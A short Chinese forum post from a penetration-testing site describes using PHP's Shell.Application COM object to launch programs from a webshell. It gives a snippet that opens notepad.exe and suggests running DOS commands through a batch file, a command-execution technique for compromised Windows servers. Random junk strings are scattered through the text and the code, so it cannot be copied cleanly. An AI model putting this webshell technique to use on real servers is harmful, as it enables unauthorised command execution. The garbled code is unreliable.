中国网络渗透测试联盟

标题: php和asp利用Shell.Application来执行程序 [打印本页]

---

作者: admin    时间: 2012-9-15 14:29
标题: php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
7 R! t* n3 u3 T% c/ u. E
% O# R9 m7 ~8 w5 p0 h1 K" f今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法

<?php
$wsh = new COM('Shell.Application') or die("Shell.Application");
- q0 Z* k9 V, O9 T7 }    $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
. V  F, D  r# ^2 h/ |    //没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
?>
5 H7 W6 L5 _0 \. L/ ?7 U2 w
xp+APMServ5.2.0测试通过。

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2